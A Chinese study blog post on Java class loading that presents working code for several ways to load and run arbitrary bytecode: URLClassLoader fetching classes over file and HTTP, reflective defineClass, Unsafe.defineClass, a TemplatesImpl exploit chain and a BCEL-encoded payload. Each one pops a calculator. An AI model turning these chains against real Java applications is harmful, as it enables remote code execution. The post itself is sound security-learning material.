本文最后更新于 2026-01-26T15:56:46+08:00
学习文章:https://drun1baby.top/2022/06/03/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%9F%BA%E7%A1%80%E7%AF%87-05-%E7%B1%BB%E7%9A%84%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD/#0x04-%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD%E5%AD%97%E8%8A%82%E7%A0%81
字节码的概念
字节码是Java虚拟机(JVM)能够理解和执行的中间代码,它介于源代码和机器码之间
严格来说,Java 字节码(ByteCode)其实仅仅指的是 Java 虚拟机执行使用的一类指令,通常被存储在.class文件中

类加载器的原理
在loadClass()方法被调用的时候,是不进行类的初始化的
1 2 3 4 5 6 7 8 9
| package DynamicClassLoader;
public class Main { public static void main(String[] args) throws Exception { ClassLoader c = ClassLoader.getSystemClassLoader(); c.loadClass("DynamicClassLoader.Person"); } }
|
在调用loadClass方法那里打断点进行调试

找到智能步入跟进看代码

会先走到ClassLoader#loadClass(),这里return一个loadClass()方法,并且第二个参数是false

继续跟进会到Launcher#loadClass

这里是一些判断安全的代码,最终会return (super.loadClass(name, resolve));

继续跟进就会回到之前的ClassLoader类,下面就是双亲委派的过程

这里parent这个属性是有的,不是null,是ExtClassLoader,所以会调用ExtClassLoader#loadClass()

继续跟进还是会回到这个ClassLoader#loadClass(),因为ExtClassLoader没有loadClass()方法,所以会回来

继续跟进后会发现parent是null,null的是因为Bootstrap类是native类,是用C写的源码,所以是null,然后就会调用findBootstrapClassOrNull()方法,但也是没有找到

所以此时c是null,继续跟进会到findClass()

去看ClassLoader.findClass()会发现没有写,是需要重写的一个方法

所以就会继续走到此类的findClass()方法,当前是ExtClassLoader,就是会到它的

但是继续跟进会走到URLClassLoader#findClass(),又突然多出一个URLClassLoader类

这是因为ExtClassLoader和AppClassLoader里没有findClass(),并且这两个类的直接父类都是URLClassLoader
虽然在双亲委派模型中看起来这两个类不是平行关系,但实际上作为普通类来说,它们都是继承了父类URLClassLoader,是平行关系
所以这里会跟进到URLClassLoader#findClass()

这里就是加载不到,没有找到,就直接过了
继续跟进就又回到ClassLoader#loadClass(),继续到findClass()这里,此时类是AppClassLoader

继续跟进也是会进入到URLClassLoader#findClass()

继续跟进会调用到defineClass()

再一步步跟进就是我们的 native 方法了
总流程:
1 2 3 4 5 6
| ClassLoader -> SecureClassLoader -> URLClassLoader -> APPClassLoader -> loadClass() -> findClass()
|
动态加载字节码的利用方式
1. 利用URLClassLoader远程加载class文件
方法一:file协议加载本地.class文件
URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件
准备个能弹计算器的测试文件Calc.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package src.ClassLoaderDemo;
import java.io.IOException;
public class Calc { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e){ e.printStackTrace(); } } }
|
编译成.class文件:
然后我将编译好的Calc.class文件复制粘贴到E:\tmp目录下

准备好测试文件后就可以编写URLClassLoader的启动类:
1 2 3 4 5 6 7 8 9 10 11 12 13
| package src.ClassLoaderDemo.URLClassLoaderDemo;
import java.net.URL; import java.net.URLClassLoader;
public class FileDemo { public static void main(String[] args) throws Exception{ URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///E:/tmp/")}); Class<?> calc = urlClassLoader.loadClass("src.ClassLoaderDemo.Calc"); calc.newInstance(); } }
|

方法二:HTTP协议通过URL加载远程类
在刚才放Calc.class的E:\tmp\目录下起一个 HTTP 服务:
1
| python -m http.server 9999
|

然后是利用类:
1 2 3 4 5 6 7 8 9 10 11 12 13
| package src.ClassLoaderDemo.URLClassLoaderDemo;
import java.net.URL; import java.net.URLClassLoader;
public class HTTPDemo { public static void main(String[] args) throws Exception{ URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:9999/")}); Class<?> calc = urlClassLoader.loadClass("src.ClassLoaderDemo.Calc"); calc.newInstance(); } }
|

方法三:file+jar协议加载本地JAR包中的类
将之前的Calc.class文件打包为.jar文件(注意是在编译为Calc.class文件的目录下,不是复制后的E:\tmp\目录):
1
| jar -cvf Calc.jar Calc.class
|

然后将生成的JAR包复制到E:\tmp\目录下

然后是利用类:
1 2 3 4 5 6 7 8 9 10 11 12 13
| package src.ClassLoaderDemo.URLClassLoaderDemo;
import java.net.URL; import java.net.URLClassLoader;
public class JarDemo { public static void main(String[] args) throws Exception{ URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:file:///E:/tmp/Calc.jar!/")}); Class<?> calc = urlClassLoader.loadClass("src.ClassLoaderDemo.Calc"); calc.newInstance(); } }
|

方法四:HTTP+jar协议加载远程JAR包中的类
最好用灵活的肯定是这个方法了
利用类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package src.ClassLoaderDemo.URLClassLoaderDemo;
import java.net.URL; import java.net.URLClassLoader;
public class JarDemo { public static void main(String[] args) throws Exception{
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:http://127.0.0.1:9999/Calc.jar!/")}); Class<?> calc = urlClassLoader.loadClass("src.ClassLoaderDemo.Calc"); calc.newInstance(); } }
|

2. 利用ClassLoader.defineClass直接加载字节码
本地或远程加载 class 或 jar 文件,Java都是经历以下三个方法调用:
1 2 3
| ClassLoader#loadClass ClassLoader#findClass ClassLoader#defineClass
|
loadClass() :是从已加载的类、父加载器位置寻找类(即双亲委派机制),在前面没有找到的情况下,调用当前 ClassLoader 的findClass()方法
findClass() :根据URL指定的方式来加载类的字节码,其中会调用defineClass()
defineClass :是处理前面传入的字节码,将其处理成真正的 Java 类
最核心的就是defineClass,决定了如何将一段字节流转变成一个Java类
跟进看看defineClass

1 2 3 4 5 6 7 8 9 10
| protected final Class<?> defineClass(String name, byte[] b, int off, int len, ProtectionDomain protectionDomain) throws ClassFormatError { protectionDomain = preDefineClass(name, protectionDomain); String source = defineClassSourceLocation(protectionDomain); Class<?> c = defineClass1(name, b, off, len, protectionDomain, source); postDefineClass(c, protectionDomain); return c; }
|
解释下几个参数:
name:类名
b:字节码数组
off:偏移量
len:字节码数组长度
可以看到ClassLoader#defineClass是protected属性,所以无法从外部直接访问,因此要反射调用defineClass()进行字节码加载,利用类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| package src.ClassLoaderDemo.ClassLoaderDefineClassDemo;
import java.lang.reflect.Method; import java.nio.file.Files; import java.nio.file.Paths;
public class ClassLoaderDefineClassDemo { public static void main(String[] args) throws Exception{ ClassLoader classLoader = ClassLoader.getSystemClassLoader(); Method method = ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[].class,int.class,int.class); method.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("E:/tmp/Calc.class")); Class c = (Class) method.invoke(classLoader,"src.ClassLoaderDemo.Calc",code,0,code.length); c.newInstance(); } }
|

- 优点:不要出网就能加载字节码
- 缺点:需要设置
method.setAccessible(true);,在平常反射中是无法调用的,而且在实际场景中defineClass 方法作用域是不开放的,所以很少能直接利用到
3. Unsafe.defineClass加载字节码
在Unsafe中也有defineClass,本质上也是defineClass加载字节码

1 2 3
| public native Class<?> defineClass(String name, byte[] b, int off, int len, ClassLoader loader, ProtectionDomain protectionDomain);
|
这里的 Unsafe 方法,是采用单例模式进行设计的,所以虽然是 public 方法,但无法直接调用,因为我们用反射来调用它
利用类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| package src.ClassLoaderDemo.UnSafeDefineClassDemo;
import sun.misc.Unsafe;
import java.lang.reflect.Field; import java.lang.reflect.Method; import java.nio.file.Files; import java.nio.file.Paths; import java.security.ProtectionDomain;
public class UnsafeDefineClassDemo { public static void main(String[] args) throws Exception{ ClassLoader classLoader = ClassLoader.getSystemClassLoader(); Class<Unsafe> unsafeClass = Unsafe.class; Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); unsafeField.setAccessible(true); Unsafe classUnsafe = (Unsafe) unsafeField.get(null); Method defineClassMethod = unsafeClass.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class); byte[] code = Files.readAllBytes(Paths.get("E:/tmp/Calc.class")); Class<?> calc = (Class<?>) defineClassMethod.invoke(classUnsafe,"src.ClassLoaderDemo.Calc",code,0,code.length,classLoader,null); calc.newInstance(); } }
|
4. TemplatesImpl加载字节码
跟进看TemplatesImpl类

会看到在TemplatesImpl这个类中还有一个内部类TransletClassLoader,这个类继承了ClassLoader,并且重写了defineClass方法

- 简单来说,这里的
defineClass 由其父类的 protected 类型变成了一个 default 类型的方法,可以被类外部调用
然后向前找一下利用链
在TemplatesImpl#defineTransletClasses()中会调用到defineClass

然后是有三处会调用到defineTransletClasses(),这里用TemplatesImpl#getTransletInstance(),如果_class==null就会调用

然后是在TemplatesImpl#newTransformer()中可以调用到getTransletInstance(),并且newTransformer还是个public,是可以外部调用的

然后在TemplatesImpl#getOutputProperties中可以调用到newTransformer(),这也是个public的,可以外部调用

所以调用链为:
1 2 3 4 5
| TemplatesImpl.getOutputProperties() -> TemplatesImpl.newTransformer() -> TemplatesImpl.getTransletInstance() -> TemplatesImpl.defineTransletClasses() -> TransletClassLoader.defineClass()
|
TemplatesImpl#newTransformer()是public属性,所以可以直接从这里调用开始构造
先构造字节码
注意,这里的字节码必须继承AbstractTranslet,因为继承了这一抽象类,所以必须要重写一下里面的方法

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| package src.ClassLoaderDemo.TemplatesImplDemo;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class TemplatesBytes extends AbstractTranslet { public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} public TemplatesBytes() throws IOException{ super(); Runtime.getRuntime().exec("calc"); } }
|
将其进行编译为 class 文件,然后放到E:\tmp\目录下
1
| javac TemplatesBytes.java
|

然后是这个链子:
先创建好用来反射设置字段的函数:
1 2 3 4 5
| public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
|
然后是main函数,先是加载刚才构造的恶意字节码:
1
| byte[] code = Files.readAllBytes(Paths.get("E:\\JavaClass\\TemplatesBytes.class"));
|
然后是创建个TemplatesImpl对象实例,通过反射来设置私有字段:
1 2 3 4
| TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "Calc"); setFieldValue(templates, "_bytecodes", new byte[][] {code}); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
|
这里_name不能为null,_class要为null,这才能进入到defineTransletClasses()

到了defineTransletClasses中,要想能走到下面触发到defineClass,上面的_bytecodes也不能为null

并且_tfactory需要是一个TransformerFactoryImpl对象,上图可以看到会调用到_tfactory.getExternalExtensionsMap(),如果_tfactory为null就会报错

最后触发代码执行:
1
| templates.newTransformer();
|
完整EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| package src.ClassLoaderDemo.TemplatesImplDemo;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths;
public class TemplatesImplDemo {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
public static void main(String[] args) throws Exception{ byte[] code = Files.readAllBytes(Paths.get("E:/tmp/TemplatesBytes.class")); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "Calc"); setFieldValue(templates, "_bytecodes", new byte[][] {code}); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); templates.newTransformer();
} }
|

5. 利用BCEL ClassLoader加载字节码
BCEL 的全名应该是 Apache Commons BCEL,属于Apache Commons项目下的一个子项目,但其因为被 Apache Xalan 所使用,而 Apache Xalan 又是 Java 内部对于 JAXP 的实现,所以 BCEL 也被包含在了 JDK 的原生库中。
我们可以通过 BCEL 提供的两个类 Repository 和 Utility 来利用: Repository 用于将一个Java Class 先转换成原生字节码,当然这里也可以直接使用javac命令来编译 java 文件生成字节码; Utility 用于将原生的字节码转换成BCEL格式的字节码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package src.ClassLoaderDemo.BCELDemo;
import com.sun.org.apache.bcel.internal.Repository; import com.sun.org.apache.bcel.internal.classfile.JavaClass; import com.sun.org.apache.bcel.internal.classfile.Utility;
public class BCELDemo { public static void main(String[] args) throws Exception{ Class calc = Class.forName("src.ClassLoaderDemo.Calc"); JavaClass javaClass = Repository.lookupClass(calc); String code = Utility.encode(javaClass.getBytes(), true); System.out.println(code); } }
|

这一堆特殊的代码,BCEL ClassLoader 正是用于加载这串特殊的“字节码”,并可以执行其中的代码。
修改下EXP:
1 2 3 4 5 6 7 8 9 10
| package src.ClassLoaderDemo.BCELDemo;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
public class BCELDemo { public static void main(String[] args) throws Exception{ new ClassLoader().loadClass("$$BCEL$$" + "$l$8b$I$A$A$A$A$A$A$AuQ$cbn$da$40$U$3d$D$G$h$d7$94$84$UJ$e8$bb$cd$83$b0$a87$d9$81$ba$a1$adT$d5m$aa$S$d1$f50$8c$e8$a4$c6F$f6$Q$e5$8f$b2fC$a2$$$fa$B$f9$a8$uw$iB$91$da$8c$e4$fb$9cs$ee$b9$e3$ab$eb$df$7f$A$ib$cf$85$83$c7$$$g$d8v$d04$fe$89$8d$a7$$$Kxf$e3$b9$8d$X$M$c5$ae$8a$94$7e$c7$90o$j$M$Y$ac$5e$3c$92$M$95$40E$f2$ebl2$94$c91$l$86T$a9$G$b1$e0$e1$80$t$ca$e4$cb$a2$a5$7f$aa$94$a1$Z$a4$89$f0$7b$nO$d3$m$e6$p$99$bc$97$93$d8$ef$f1Pt$Y$9c$ae$I$97$p$YAj$c1$J$3f$e5$be$8a$fdOG$l$ce$84$9cj$VGt$ad$dc$d7$5c$fc$fa$c2$a7$Z5$a9dp$fb$f1$y$R$f2$a32$a3J$86$ee$ad$c1z$u$c1$b5$f1$d2$c3$x$bc$s$N$qKxx$83$j$86$ad$ffp$7b$d8$85$cb$d0$b8O$o$c3F$86$Ky4$f6$8f$86$tRh$86$cd$bf$a5$ef$b3H$ab$J$vp$c7R$af$92Z$eb$m$f8$e7$O$ada$c93I$94$fb$ad$b5n_$t$w$gw$d6$B$df$92X$c84$r$40eJM$9d$z$7f$9cp$ni$v$9b$7e$9a990$b3$w$d9$H$94$f9$e4$Z$f9B$fb$Cl$9e$b5$3d$b2$c5$db$o$cad$bde$fc$Q$V$f2$O6V$60$9e$91$B$d5K$e4$aa$f9$F$ac$l$e7p$3e$b7$X$u$ce$b3z$89$b0$F$e43$c6$3aE$G$5d$o$a4y$eb2$b1lRt7$a1$M$8b$f2$we$5b$f4$d9$c8$F6$kY$d4$a8e$a2$ea7$ff$cd$e2c$7e$C$A$A").newInstance(); } }
|

加上 $$BCEL$$的原因
BCEL 这个包中有个有趣的类com.sun.org.apache.bcel.internal.util.ClassLoader,他是一个 ClassLoader,但是他重写了 Java 内置的ClassLoader#loadClass()方法。
在 ClassLoader#loadClass() 中,其会判断类名是否是 $$BCEL$$ 开头,如果是的话,将会对这个字符串进行 decode